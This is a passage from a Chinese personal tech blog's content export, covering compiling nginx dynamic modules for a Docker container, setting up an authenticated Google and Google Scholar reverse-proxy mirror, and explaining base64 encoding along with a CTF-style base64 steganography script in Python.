<p>但是网上搜到的教程基本上都是下载模块源码和 nginx 源码, 然后重新编译一次 nginx, 十分的不方便。而且我服务器上为了避免炸依赖, 使用了 nginx 的官方镜像, 重新编译个 nginx 再挂载进 container 怎么想都太扭曲了, 查了一下文档发现 nginx 自从 1.9.11 以后就支持动态加载模块了, 不需要重新编译 nginx, 只需要将模块编译为 so 然后在 nginx 的配置文件中加载就行。</p>
<span id="more"></span>

<h2 id="下载对应版本-nginx-源码"><a href="#下载对应版本-nginx-源码" class="headerlink" title="下载对应版本 nginx 源码"></a>下载对应版本 nginx 源码</h2><p>nginx 版本可用 <code>nginx -v</code> 查看</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@aliyun:/<span class="comment"># nginx -v</span></span><br><span class="line">nginx version: nginx/1.17.9</span><br></pre></td></tr></table></figure>

<p>可以得知目前 docker 容器内的 nginx 版本为 1.17.9, 下载 nginx 源码以及模块源码并解压</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget https://github.com/nginx/nginx/archive/release-1.17.9.tar.gz</span><br><span class="line">tar -xvf release-1.17.9.tar.gz</span><br></pre></td></tr></table></figure>

<h2 id="下载模块源码并配置模块"><a href="#下载模块源码并配置模块" class="headerlink" title="下载模块源码并配置模块"></a>下载模块源码并配置模块</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/yaoweibin/ngx_http_substitutions_filter_module.git</span><br></pre></td></tr></table></figure>

<p>Nginx 模块源码中存在着 config 脚本文件, 静态模块和动态模块的配置文件时不同的。新格式的 config 脚本是同时兼容动态模块和静态模块的, 模块的 config脚本还是旧的格式, 则需要根据文档去转换。</p>
<p>有些模块是无法被配置为动态模块的。</p>
<p>新式配置脚本样例</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ngx_addon_name=ngx_http_hello_world_module</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">test</span> -n <span class="string">&quot;<span class="variable">$ngx_module_link</span>&quot;</span>; <span class="keyword">then</span></span><br><span class="line">    ngx_module_type=HTTP</span><br><span class="line">    ngx_module_name=ngx_http_hello_world_module</span><br><span class="line">    ngx_module_srcs=<span class="string">&quot;<span class="variable">$ngx_addon_dir</span>/ngx_http_hello_world_module.c&quot;</span></span><br><span class="line"></span><br><span class="line">    . auto/module</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    HTTP_MODULES=<span class="string">&quot;<span class="variable">$HTTP_MODULES</span> ngx_http_hello_world_module&quot;</span></span><br><span class="line">    NGX_ADDON_SRCS=<span class="string">&quot;<span class="variable">$NGX_ADDON_SRCS</span> <span class="variable">$ngx_addon_dir</span>/ngx_http_hello_world_module.c&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br></pre></td></tr></table></figure>

<p>旧式配置脚本样例</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ngx_addon_name=ngx_http_response_module</span><br><span class="line">HTTP_MODULES=<span class="string">&quot;<span class="variable">$HTTP_MODULES</span> ngx_http_response_module&quot;</span></span><br><span class="line">NGX_ADDON_SRCS=<span class="string">&quot;<span class="variable">$NGX_ADDON_SRCS</span> <span class="variable">$ngx_addon_dir</span>/ngx_http_response_module.c&quot;</span></span><br></pre></td></tr></table></figure>

<p>转换的方法见: <a href="https://www.nginx.com/resources/wiki/extending/converting/">https://www.nginx.com/resources/wiki/extending/converting/</a></p>
<p>本文提及的 ngx_http_substitutions_filter_module 使用的新式脚本, 因此可以直接被编译为动态模块无需配置。</p>
<h2 id="编译模块"><a href="#编译模块" class="headerlink" title="编译模块"></a>编译模块</h2><p>先安装编译时依赖的库（需要安装的库可能不止这些, 跟着报错找的）</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt install make gcc zlib1g-dev libpcre3-dev libssl-dev</span><br></pre></td></tr></table></figure>

<p>由于新版 nginx 目录结构的改版, 源码的目录结构和旧版本的不太一样:</p>
<p><img data-src="/linux/nginx/compile-nginx-dynamic-modules/img/nginx-tree.png" alt="nginx-tree.png"></p>
<p>configure 脚本从根目录移到了 auto 目录下</p>
<p>cd 进 nginx 源码目录后使用 <code>--with-compat</code> 和 <code>--add-dynamic-module</code> 参数来配置编译环境</p>
<p>关于参数 <code>--with-compat</code> 的文档很少, 只知道是一个兼容动态模块的参数</p>
<p>最后在邮件列表中发现了这个参数的解释：</p>
<p><a href="http://mailman.nginx.org/pipermail/nginx-devel/2016-October/008920.html">http://mailman.nginx.org/pipermail/nginx-devel/2016-October/008920.html</a></p>
<p>总结一下就是, 加上这个参数后编译出的 nginx 可执行文件是兼容动态模块的, 至于编译动态模块为什么要加上这个参数就没找到相关解释了, 总之还是加上</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">./auto/configure --with-compat --add-dynamic-module=../ngx_http_substitutions_filter_module</span><br><span class="line">make modules</span><br></pre></td></tr></table></figure>

<p>编译出来的模块在 <code>objs\ngx_http_subs_filter_module.so</code></p>
<p>根据官方文档来讲, 只需要添加两个参数就可以编译动态模块了。但是, 实际环境中 nginx 的编译参数可能是很复杂的, 如果发现编译出来的模块无法正常加载, 可以考虑用 <code>nginx -V</code> 查看编译 nginx 时使用的参数, 将参数加入 configure 命令后再次尝试编译加载模块</p>
<h2 id="加载并使用模块"><a href="#加载并使用模块" class="headerlink" title="加载并使用模块"></a>加载并使用模块</h2><p>我使用的 nginx docker 镜像为 nginx 官方的镜像, 模块被存放在 <code>/usr/lib/nginx/modules</code> 下, 将模块挂载入 container 后, 修改 nginx 配置文件  <code>/etc/nginx/nginx.conf</code>, 加入</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">load_module modules/ngx_http_subs_filter_module.so;</span><br></pre></td></tr></table></figure>

<p>重载容器中的 nginx 配置即可使用新模块</p>
<p>修改完配置文件后可以在 maps 中看到 so 已被加载</p>
<p><img data-src="/linux/nginx/compile-nginx-dynamic-modules/img/module-load.png" alt="module-load.png"></p>
<h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ol>
<li>动态模块: <a href="https://docs.nginx.com/nginx/admin-guide/dynamic-modules/dynamic-modules/">https://docs.nginx.com/nginx/admin-guide/dynamic-modules/dynamic-modules/</a></li>
<li>编译动态模: <a href="https://www.nginx.com/blog/compiling-dynamic-modules-nginx-plus/">https://www.nginx.com/blog/compiling-dynamic-modules-nginx-plus/</a></li>
<li>转换静态模块为动态模块: <a href="https://www.nginx.com/resources/wiki/extending/converting/">https://www.nginx.com/resources/wiki/extending/converting/</a></li>
</ol>
]]></content>
      <categories>
        <category>linux</category>
        <category>nginx</category>
      </categories>
  </entry>
  <entry>
    <title>Nginx 配置谷歌镜像站</title>
    <url>/linux/nginx/configure-nginx-google-mirror/</url>
    <content><![CDATA[<p>以前一直以为用 nginx 配谷歌以及谷歌学术的镜像站会很麻烦, 就一直没去配, 直到昨天 evi0s 给我发了个 nginx module 我才知道有人已经造好了轮子</p>
<p>只需要给 nginx 安装 <a href="https://github.com/cuber/ngx_http_google_filter_module">ngx_http_google_filter_module</a> 模块即可</p>
<p>个人感觉官方给的教程实在是太麻烦了, 而且比较老旧还需要重编译 nginx, 我 vps 上的 nginx 直接使用的 nginx 官方容器, 因此决定将该模块及其依赖项编译为动态模块, 挂载进容器内动态加载</p>
<p>编译过程和 <a href="https://blog.plusls.com/linux/nginx/compile-nginx-dynamic-modules/">https://blog.plusls.com/linux/nginx/compile-nginx-dynamic-modules/</a> 基本一致</p>
<span id="more"></span>

<h2 id="下载-nginx-以及模块源码"><a href="#下载-nginx-以及模块源码" class="headerlink" title="下载 nginx 以及模块源码"></a>下载 nginx 以及模块源码</h2><p>目前 nginx 容器的 nginx 版本为 1.17.9, 编译时使用了 ngx_http_google_filter_module 的 dev 分支</p>
<p>官方文档提及了该模块依赖 ngx_http_substitutions_filter_module, 因此也需要将 ngx_http_substitutions_filter_module 编译为动态模块</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">wget https://github.com/nginx/nginx/archive/release-1.17.9.tar.gz</span><br><span class="line">tar -xvf release-1.17.9.tar.gz</span><br><span class="line">git clone https://github.com/yaoweibin/ngx_http_substitutions_filter_module.git</span><br><span class="line">git clone -b dev https://github.com/cuber/ngx_http_google_filter_module</span><br></pre></td></tr></table></figure>

<p>源码下载完后目录结构如下:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">plusls@us1:~/nginx-source$ tree -L 2</span><br><span class="line">.</span><br><span class="line">├── nginx-release-1.17.9</span><br><span class="line">│   ├── auto</span><br><span class="line">│   ├── conf</span><br><span class="line">│   ├── contrib</span><br><span class="line">│   ├── docs</span><br><span class="line">│   ├── Makefile</span><br><span class="line">│   ├── misc</span><br><span class="line">│   ├── objs</span><br><span class="line">│   └── src</span><br><span class="line">├── ngx_http_google_filter_module</span><br><span class="line">│   ├── config</span><br><span class="line">│   ├── LICENSE</span><br><span class="line">│   ├── README.md</span><br><span class="line">│   ├── README.zh-CN.md</span><br><span class="line">│   └── src</span><br><span class="line">├── ngx_http_substitutions_filter_module</span><br><span class="line">│   ├── CHANGES</span><br><span class="line">│   ├── config</span><br><span class="line">│   ├── doc</span><br><span class="line">│   ├── ngx_http_subs_filter_module.c</span><br><span class="line">│   ├── README</span><br><span class="line">│   ├── <span class="built_in">test</span></span><br><span class="line">│   └── util</span><br><span class="line">└── release-1.17.9.tar.gz</span><br><span class="line"></span><br><span class="line">14 directories, 10 files</span><br></pre></td></tr></table></figure>

<h2 id="安装依赖项"><a href="#安装依赖项" class="headerlink" title="安装依赖项"></a>安装依赖项</h2><p>可以自行下载源码安装, Debian 可以直接 apt 安装</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt install make gcc zlib1g-dev libpcre3-dev libssl-dev</span><br></pre></td></tr></table></figure>

<p>源码下载 (可选)</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget <span class="string">&quot;https://www.openssl.org/source/openssl-1.1.1c.tar.gz&quot;</span></span><br><span class="line">wget <span class="string">&quot;http://ftp.cs.stanford.edu/pub/exim/pcre/pcre-8.38.tar.gz&quot;</span></span><br><span class="line">wget <span class="string">&quot;http://zlib.net/fossils/zlib-1.2.8.tar.gz&quot;</span></span><br></pre></td></tr></table></figure>

<p>上面给出的依赖版本可能有点老旧, 可自行去库的官网下载最新版</p>
<p>在编译新版 nginx 时如果使用 <code>openssl 1.0.1</code> 会编译报错, 同时 <code>openssl 1.1.1e</code> 貌似存在 bug 会导致模块工作异常 (evi0s 测出来的), 编译 openssl 时需要安装 g++</p>
<h2 id="编译模块"><a href="#编译模块" class="headerlink" title="编译模块"></a>编译模块</h2><p>进入 nginx 源码目录后, 执行 configure 脚本</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">./auto/configure --with-compat \</span><br><span class="line">                 --add-dynamic-module=../ngx_http_substitutions_filter_module \</span><br><span class="line">                 --add-dynamic-module=../ngx_http_google_filter_module \</span><br><span class="line">                 --with-http_ssl_module</span><br><span class="line">make modules</span><br></pre></td></tr></table></figure>

<p>关于参数 <code>--with-http_ssl_module</code> 在模块的文档中并没有明确书写需要添加该参数, 不加该参数是也能编译成功, 但是模块无法正常处理 ssl 流量</p>
<p>这是由于该模块在源码中用宏判断了一下当前的编译参数, 如果没加 <code>--with-http_ssl_module</code> 参数则不会启用 ssl 相关功能</p>
<p><img data-src="/linux/nginx/configure-nginx-google-mirror/img/check-http_ssl_module.png" alt="check-http_ssl_module.png"></p>
<p>只有启用了后相关功能才能正常工作, 不然会 501 或者 302 301 重定向次数过多</p>
<p>编译完成后 <code>ngx_http_google_filter_module.so</code> 和 <code>ngx_http_subs_filter_module.so</code> 生成在 objs 目录下</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">plusls@us1:~/nginx-source/nginx-release-1.17.9$ <span class="built_in">ls</span> -l objs</span><br><span class="line">total 556</span><br><span class="line">drwxrwxr-x 4 plusls plusls   4096 Mar 27 13:47 addon</span><br><span class="line">-rw-rw-r-- 1 plusls plusls  17601 Mar 27 13:47 autoconf.err</span><br><span class="line">-rw-rw-r-- 1 plusls plusls  45379 Mar 27 13:47 Makefile</span><br><span class="line">-rw-rw-r-- 1 plusls plusls   7823 Mar 27 13:47 ngx_auto_config.h</span><br><span class="line">-rw-rw-r-- 1 plusls plusls    657 Mar 27 13:47 ngx_auto_headers.h</span><br><span class="line">-rw-rw-r-- 1 plusls plusls    303 Mar 27 13:47 ngx_http_google_filter_module_modules.c</span><br><span class="line">-rw-rw-r-- 1 plusls plusls  44688 Mar 27 13:48 ngx_http_google_filter_module_modules.o</span><br><span class="line">-rwxrwxr-x 1 plusls plusls 258640 Mar 27 13:48 ngx_http_google_filter_module.so</span><br><span class="line">-rw-rw-r-- 1 plusls plusls    367 Mar 27 13:47 ngx_http_subs_filter_module_modules.c</span><br><span class="line">-rw-rw-r-- 1 plusls plusls  44792 Mar 27 13:48 ngx_http_subs_filter_module_modules.o</span><br><span class="line">-rwxrwxr-x 1 plusls plusls 107880 Mar 27 13:48 ngx_http_subs_filter_module.so</span><br><span class="line">-rw-rw-r-- 1 plusls plusls   6043 Mar 27 13:47 ngx_modules.c</span><br><span class="line">drwxrwxr-x 9 plusls plusls   4096 Mar 27 13:47 src</span><br><span class="line">plusls@us1:~/nginx-source/nginx-release-1.17.9$</span><br></pre></td></tr></table></figure>

<h2 id="配置-nginx"><a href="#配置-nginx" class="headerlink" title="配置 nginx"></a>配置 nginx</h2><p>编译完成后将生成的模块拷贝到响应的目录下</p>
<p>我在服务器上使用的 nginx 容器目录结构如下:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">plusls@us1:~/nginx$ tree</span><br><span class="line">.</span><br><span class="line">├── auth</span><br><span class="line">│   └── default.htpasswd</span><br><span class="line">├── conf.d</span><br><span class="line">│   ├── google.conf</span><br><span class="line">│   └── v2ray.conf</span><br><span class="line">├── docker-compose.yml</span><br><span class="line">├── <span class="built_in">log</span></span><br><span class="line">│   └── .</span><br><span class="line">├── modules</span><br><span class="line">│   ├── ngx_http_google_filter_module.so</span><br><span class="line">│   └── ngx_http_subs_filter_module.so</span><br><span class="line">├── nginx</span><br><span class="line">├── nginx.conf</span><br><span class="line">├── ssl</span><br><span class="line">│   ├── google</span><br><span class="line">│   │   ├── cert.pem</span><br><span class="line">│   │   └── key.pem</span><br><span class="line">│   └── v2ray</span><br><span class="line">│       ├── cert.pem</span><br><span class="line">│       └── key.pem</span><br><span class="line">└── www</span><br><span class="line">    └── v2ray</span><br><span class="line">        └── index.html</span><br><span class="line"></span><br><span class="line">9 directories, 15 files</span><br></pre></td></tr></table></figure>

<p>相关模块已被放入 modules 目录中</p>
<h3 id="将模块挂载进容器"><a href="#将模块挂载进容器" class="headerlink" title="将模块挂载进容器"></a>将模块挂载进容器</h3><p>ngx_http_subs_filter_module 和 ngx_http_google_filter_module 已经使用 docker-compose 挂载到容器中的 <code>/usr/lib/nginx/modules</code> 下</p>
<p>docker-compose 配置为</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&quot;3.4&quot;</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">nginx:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx:1.17.9</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">docker-nginx</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">always</span></span><br><span class="line">    <span class="attr">network_mode:</span> <span class="string">host</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./conf.d:/etc/nginx/conf.d</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./log:/log</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./ssl:/ssl</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./www:/www</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./auth:/auth</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./nginx.conf:/etc/nginx/nginx.conf</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./modules/ngx_http_subs_filter_module.so:/usr/lib/nginx/modules/ngx_http_subs_filter_module.so</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./modules/ngx_http_google_filter_module.so:/usr/lib/nginx/modules/ngx_http_google_filter_module.so</span></span><br></pre></td></tr></table></figure>

<h3 id="加载模块"><a href="#加载模块" class="headerlink" title="加载模块"></a>加载模块</h3><p>为了加载模块需要在 nginx.conf 中加入相关语句</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">load_module modules/ngx_http_subs_filter_module.so;</span><br><span class="line">load_module modules/ngx_http_google_filter_module.so;</span><br></pre></td></tr></table></figure>

<h3 id="配置反代"><a href="#配置反代" class="headerlink" title="配置反代"></a>配置反代</h3><p>在 docker-compose 中 conf.d 目录已被挂载到 <code>/etc/nginx/conf.d</code>, 因此配置文件放在该目录下即可</p>
<p>google.conf</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">upstream scholar.google.com &#123;</span><br><span class="line">    server [2404:6800:4008:0c06::0be]:443 weight=3;</span><br><span class="line">&#125;</span><br><span class="line">server &#123;</span><br><span class="line">    listen       80;</span><br><span class="line">    server_name  google.plusls.com;</span><br><span class="line">    # enforce https</span><br><span class="line">    return 301 https://$server_name$request_uri;</span><br><span class="line">&#125;</span><br><span class="line">server &#123;</span><br><span class="line">    listen 443 ssl http2;</span><br><span class="line">    server_name google.plusls.com;</span><br><span class="line">    ssl_certificate /ssl/google/cert.pem;</span><br><span class="line">    ssl_certificate_key /ssl/google/key.pem;</span><br><span class="line">    ssl_ciphers EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;</span><br><span class="line">    resolver 8.8.8.8;</span><br><span class="line">    location / &#123;</span><br><span class="line">        auth_basic &#x27;Private Service&#x27;;</span><br><span class="line">        auth_basic_user_file /auth/default.htpasswd;</span><br><span class="line">        google on;</span><br><span class="line">        google_scholar on;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>80 端口接到数据后会将请求重定向到 https 协议所在的 443 端口。</p>
<p>下面还添加了 auth_basic 来避免该服务被滥用, 只有知道用户名和密码的用户才能使用谷歌反代</p>
<p>htpasswd 文件可用命令 htpasswd 生成</p>
<p>该程序包含在 <code>apache2-utils</code> 中, apt install 即可使用</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">plusls@us1:~/nginx$ sudo apt install apache2-utils</span><br><span class="line">plusls@us1:~/nginx$ htpasswd -c ./default.htpasswd myusername</span><br><span class="line">New password:</span><br><span class="line">Re-<span class="built_in">type</span> new password:</span><br><span class="line">Adding password <span class="keyword">for</span> user myusername</span><br></pre></td></tr></table></figure>

<p><code>google on</code> 和 <code>google_scholar on</code> 指开启 google 反代以及 google scholar 的反代</p>
<p>由于大多数 vps 的 ip 段已经被 google scholar 拉黑了, 因此要添加 upstream, 让 google scholar 使用 ipv6 连接来绕过谷歌的封锁。</p>
<p>证书的话用 v2ctl 随手签一个就好, 然后套个 cloudflare 的 cdn, 免得被日。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">./v2ctl cert --domain=google.plusls.com --name=plusls-google --org=plusls --file=google</span><br></pre></td></tr></table></figure>

<p>这会在本地生成 <code>google_cert.pem</code> 和 <code>google_key.pem</code>, 分别是证书和私钥</p>
<h2 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h2><p>配置完成后 <code>docker-compose up -d</code> 即可启动反代服务器</p>
<p>进入 <a href="https://google.plusls.com/scholar">https://google.plusls.com/scholar</a> 可以看到要求验证</p>
<p><img data-src="/linux/nginx/configure-nginx-google-mirror/img/auth.png" alt="auth.png"></p>
<p>验证通过后可以正常使用</p>
<p>Google:</p>
<p><img data-src="/linux/nginx/configure-nginx-google-mirror/img/google.png" alt="google.png"></p>
<p>Google scholar:</p>
<p><img data-src="/linux/nginx/configure-nginx-google-mirror/img/google-scholar.png" alt="google-scholar.png"></p>
]]></content>
      <categories>
        <category>linux</category>
        <category>nginx</category>
      </categories>
  </entry>
  <entry>
    <title>base64详解</title>
    <url>/technical/misc/base64/</url>
    <content><![CDATA[<h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>众所周知，任何数据在内存中都是以Byte为单位进行存储的，每个Byte包含了8个二进制位，因此本文不区分二进制数据与文本，而是将其作为一个整体进行讨论。</p>
<h3 id="编码"><a href="#编码" class="headerlink" title="编码"></a>编码</h3><p>base64编码包括以下几个步骤</p>
<ol>
<li>将每个BYTE转为8位二进制</li>
<li>若二进制位不是6的倍数则在其后面补0直到其变为6的倍数</li>
<li>将每6个二进制位作为整体转换为10进制</li>
<li>通过查表将十进制转为字符</li>
<li>若转出的长度不为4的倍数，则在其后补’&#x3D;’</li>
</ol>
<p>注: 转换表见附录</p>
<p>若是以编码 <strong>CNSS</strong> 为例，则整个过程为</p>
<p><img data-src="/technical/misc/base64/img/1.png" alt="base64encode"></p>
<span id="more"></span>

<h3 id="解码"><a href="#解码" class="headerlink" title="解码"></a>解码</h3><p>base64解码包括以下几个步骤</p>
<ol>
<li>将除了 <strong>&#x3D;</strong> 以外的别的字符通过查表转为十进制数字</li>
<li>将十进制数字转为6位二进制</li>
<li><strong>删去等号个数*2位二进制</strong></li>
<li>将二进制转为BYTE</li>
</ol>
<h2 id="黑魔法：base64隐写"><a href="#黑魔法：base64隐写" class="headerlink" title="黑魔法：base64隐写"></a>黑魔法：base64隐写</h2><p>由上面的过程可以看出，在编码的过程中补上了一些0，若是补充的不是0，而是一些有意义的数据，那么就可以在不改变解码结果的情况下，添加额外的数据</p>
<h3 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h3><p>下面为python3的脚本，包括生成隐写，解隐写</p>
<p>目前已加入ctf大礼包 : <a href="https://github.com/plusIs/ctf-tools">ctf大礼包</a></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_base64_diff_value</span>(<span class="params">s1, s2</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;get base64 diff value&quot;&quot;&quot;</span></span><br><span class="line">    base64chars = <span class="string">&#x27;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(s2)):</span><br><span class="line">        <span class="keyword">if</span> s1[i] != s2[i]:</span><br><span class="line">            <span class="keyword">return</span> <span class="built_in">abs</span>(base64chars.index(s1[i]) - base64chars.index(s2[i]))</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve_stego</span>(<span class="params">stego_str_list</span>):</span><br><span class="line">    <span class="string">&#x27;&#x27;&#x27;stego_str_list str列表&#x27;&#x27;&#x27;</span></span><br><span class="line">    bin_str = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> stego_str <span class="keyword">in</span> stego_str_list:</span><br><span class="line">        stego_str = stego_str.replace(<span class="string">&#x27;\n&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">        norm_str = base64.b64encode(base64.b64decode(stego_str)).decode()</span><br><span class="line">        diff = get_base64_diff_value(stego_str, norm_str)</span><br><span class="line">        pads_num = stego_str.count(<span class="string">&#x27;=&#x27;</span>)</span><br><span class="line">        bin_str += <span class="built_in">bin</span>(diff)[<span class="number">2</span>:].zfill(pads_num * <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    ret = <span class="string">b&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(bin_str), <span class="number">8</span>):</span><br><span class="line">        ret += <span class="built_in">int</span>(bin_str[i:i + <span class="number">8</span>], <span class="number">2</span>).to_bytes(<span class="number">1</span>, <span class="string">&#x27;little&#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> ret</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">to_stego</span>(<span class="params">normal_data, stego_data, stego_bit_len=<span class="number">4</span></span>):</span><br><span class="line">    base64chars = <span class="string">&#x27;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#x27;</span></span><br><span class="line">    bin_str = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> each <span class="keyword">in</span> stego_data:</span><br><span class="line">        bin_str += <span class="built_in">bin</span>(each)[<span class="number">2</span>:].zfill(<span class="number">8</span>)</span><br><span class="line">    line_len = <span class="built_in">len</span>(normal_data) // (<span class="built_in">len</span>(bin_str) // stego_bit_len)</span><br><span class="line">    <span class="keyword">if</span> stego_bit_len == <span class="number">4</span>:</span><br><span class="line">        line_len = line_len - ((line_len % <span class="number">3</span> - <span class="number">1</span>) + <span class="number">3</span>) % <span class="number">3</span> <span class="comment"># 令 line_len % 3 = 1 右边建立了一个 0 1 2 -&gt; 2 0 1 的映射</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        line_len = line_len - ((line_len % <span class="number">3</span> - <span class="number">2</span>) + <span class="number">3</span>) % <span class="number">3</span> <span class="comment"># 令 line_len % 3 = 2 右边建立了一个 0 1 2 -&gt; 1 2 0 的映射</span></span><br><span class="line">    <span class="keyword">if</span> line_len &lt;= <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> []</span><br><span class="line">    ret = []</span><br><span class="line">    index = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">if</span> index &gt;= <span class="built_in">len</span>(normal_data):</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        encode_str = base64.b64encode(normal_data[index:index + line_len]).decode()</span><br><span class="line">        <span class="comment"># print(&#x27;index=%d bin_str=%s&#x27; % (index, bin_str))</span></span><br><span class="line">        index += line_len</span><br><span class="line">        <span class="comment"># print(encode_str)</span></span><br><span class="line">        <span class="keyword">if</span> bin_str != <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">            <span class="keyword">if</span> stego_bit_len == <span class="number">4</span>:</span><br><span class="line">                now_encode = bin_str[:<span class="number">4</span>]</span><br><span class="line">                bin_str = bin_str[<span class="number">4</span>:]</span><br><span class="line">            tmp_list = encode_str.rpartition(encode_str[-<span class="number">1</span> * (stego_bit_len // <span class="number">2</span> + <span class="number">1</span>)])</span><br><span class="line">            encode_str = tmp_list[<span class="number">0</span>] + base64chars[base64chars.index(tmp_list[<span class="number">1</span>]) + <span class="built_in">int</span>(now_encode, <span class="number">2</span>)] + tmp_list[<span class="number">2</span>]</span><br><span class="line">        ret.append(encode_str)</span><br><span class="line">    <span class="keyword">return</span> ret</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;2.txt&#x27;</span>, <span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> fp:</span><br><span class="line">        file_lines = fp.readlines()</span><br><span class="line">    stego_str_list = []</span><br><span class="line">    <span class="keyword">for</span> each <span class="keyword">in</span> file_lines:</span><br><span class="line">        stego_str_list.append(each.decode().replace(<span class="string">&#x27;\n&#x27;</span>, <span class="string">&#x27;&#x27;</span>))</span><br><span class="line">    <span class="built_in">print</span>(solve_stego(stego_str_list))</span><br><span class="line"></span><br><span class="line">    l = to_stego(<span class="string">b&#x27;123456789012345678901234567890123456&#x27;</span>, <span class="string">b&#x27;cnss&#x27;</span>, <span class="number">4</span>)</span><br><span class="line">    <span class="built_in">print</span>(l)</span><br><span class="line">    <span class="built_in">print</span>(solve_stego(l))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>



<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><h3 id="转换表"><a href="#转换表" class="headerlink" title="转换表"></a>转换表</h3><p>转换表分为几种形式</p>
<h4 id="表格"><a href="#表格" class="headerlink" title="表格"></a>表格</h4><p>转换表:</p>
<table>
<thead>
<tr>
<th>索引</th>
<th>对应字符</th>
<th>索引</th>
<th>对应字符</th>
<th>索引</th>
<th>对应字符</th>
<th>索引</th>
<th>对应字符</th>
</tr>
</thead>
<tbody><tr>
<td>0</td>
<td>A</td>
<td>17</td>
<td>R</td>
<td>34</td>
<td>i</td>
<td>51</td>
<td>z</td>
</tr>
<tr>
<td>1</td>
<td>B</td>
<td>18</td>
<td>S</td>
<td>35</td>
<td>j</td>
<td>52</td>
<td>0</td>
</tr>
<tr>
<td>2</td>
<td>C</td>
<td>19</td>
<td>T</td>
<td>36</td>
<td>k</td>
<td>53</td>
<td>1</td>
</tr>
<tr>
<td>3</td>
<td>D</td>
<td>20</td>
<td>U</td>
<td>37</td>
<td>l</td>
<td>54</td>
<td>2</td>
</tr>
<tr>
<td>4</td>
<td>E</td>
<td>21</td>
<td>V</td>
<td>38</td>
<td>m</td>
<td>55</td>
<td>3</td>
</tr>
<tr>
<td>5</td>
<td>F</td>
<td>22</td>
<td>W</td>
<td>39</td>
